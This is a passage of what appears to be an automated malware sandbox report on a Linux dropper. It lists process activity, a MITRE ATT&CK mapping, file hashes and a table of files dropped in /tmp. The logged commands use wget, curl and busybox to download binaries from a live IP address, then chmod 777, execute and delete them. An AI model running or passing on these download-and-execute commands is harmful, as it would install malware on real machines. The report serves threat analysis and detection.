  ./JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  2⤵
  - Executes dropped EXE
  PID:1673
- /bin/rm
  rm JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  2⤵
  PID:1674
- /usr/bin/wget
  wget http://66.63.187.225/bins/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  2⤵
  PID:1675
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  2⤵
  - Writes file to tmp directory
  PID:1676
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  2⤵
  PID:1677
- /bin/chmod
  chmod 777 8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  2⤵
  - File and Directory Permissions Modification
  PID:1678
- /tmp/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  ./8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  2⤵
  - Executes dropped EXE
  PID:1679
- /bin/rm
  rm 8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  2⤵
  PID:1680

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11

Path /tmp/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11	1515	8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
/tmp/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP	1521	5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
/tmp/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT	1527	8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
/tmp/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh	1533	BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
/tmp/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0	1539	so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
/tmp/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK	1545	Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
/tmp/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz	1551	M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
/tmp/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd	1557	44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
/tmp/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH	1563	0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
/tmp/UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG	1569	UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
/tmp/JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2	1575	JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
/tmp/pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU	1581	pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
/tmp/UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5	1587	UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
/tmp/6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27	1593	6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
/tmp/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT	1599	8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
/tmp/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh	1605	BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
/tmp/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0	1611	so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
/tmp/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK	1617	Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
/tmp/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz	1623	M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
/tmp/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd	1629	44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
/tmp/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH	1635	0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
/tmp/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP	1641	5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
/tmp/UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG	1647	UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
/tmp/pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU	1653	pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
/tmp/UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5	1659	UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
/tmp/6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27	1667	6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
/tmp/JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2	1673	JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
/tmp/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11	1679	8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11